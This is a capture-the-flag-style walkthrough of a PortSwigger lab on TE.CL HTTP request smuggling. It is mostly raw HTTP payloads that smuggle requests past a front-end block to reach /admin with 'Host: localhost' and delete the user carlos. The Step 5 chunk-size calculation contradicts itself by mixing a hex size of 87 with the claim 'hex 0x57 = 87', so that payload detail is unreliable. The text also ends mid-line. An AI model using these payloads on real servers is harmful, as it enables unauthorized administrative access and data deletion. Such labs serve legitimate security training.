PortSwigger

Lab Description

This lab involves a front-end and back-end server, and the back-end server doesn’t support chunked encoding. There’s an admin panel at /admin, but the front-end server blocks access to it.

Objective: Smuggle a request to the back-end server that accesses the admin panel and deletes the user carlos.



Step 1: Understanding the Vulnerability

The TE.CL vulnerability:

  • Front-end server: Uses Transfer-Encoding: chunked (TE) - supports chunked encoding
  • Back-end server: Uses Content-Length (CL) - doesn’t support chunked encoding
  • The discrepancy allows request smuggling

The attack:

  1. Send a request with chunked encoding where the chunk size indicates more data
  2. Front-end processes chunked encoding
  3. Back-end sees only the Content-Length and misses the smuggled request
  4. The smuggled request bypasses front-end security controls


Step 2: Reconnaissance

Step 2.1: Test Admin Access

Try to visit /admin:

GET /admin HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net

Response: 403 Forbidden - Front-end blocks access.


Step 3: TE.CL Request Smuggling

Step 3.1: Basic Smuggling Attempt

Send the following request twice (to see the effect):

POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Content-length: 4
Transfer-Encoding: chunked

60
POST /admin HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0

Important: Include the trailing \r\n\r\n after the final 0.

Request breakdown:

ChunkSizeData
Chunk 160 (96 bytes)POST /admin HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 15\r\n\r\nx=1
Chunk 20Terminator

How the servers interpret:

ServerUsesSees
Front-endTransfer-Encoding: chunkedProcesses chunks, sees 96 bytes of data
Back-endContent-Length: 4Only sees first 4 bytes of the request

Result: The smuggled POST /admin request is sent to the back-end.

Response: Error - missing Host: localhost header.


Step 4: Adding Host Header

Step 4.1: Smuggle with Localhost

POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Content-length: 4
Transfer-Encoding: chunked

71
POST /admin HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0

Chunk calculation:
71 in hex = 113 bytes

The chunk data is:

POST /admin HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1

Response: Admin panel accessible!

The back-end receives the smuggled request with Host: localhost and grants access.


Step 5: Deleting User Carlos

Step 5.1: Modify Smuggled Request

Change the smuggled request URL to delete carlos:

POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Content-length: 4
Transfer-Encoding: chunked

87
GET /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0

Chunk calculation:

The chunk data is:

GET /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1

Count the bytes: 87 (hex 0x57 = 87)

Step 5.2: Send the Request

Send the request twice (first is poisoning, second triggers the effect).

Expected result: User carlos is deleted.


Step 6: Lab Solved

Success message displayed: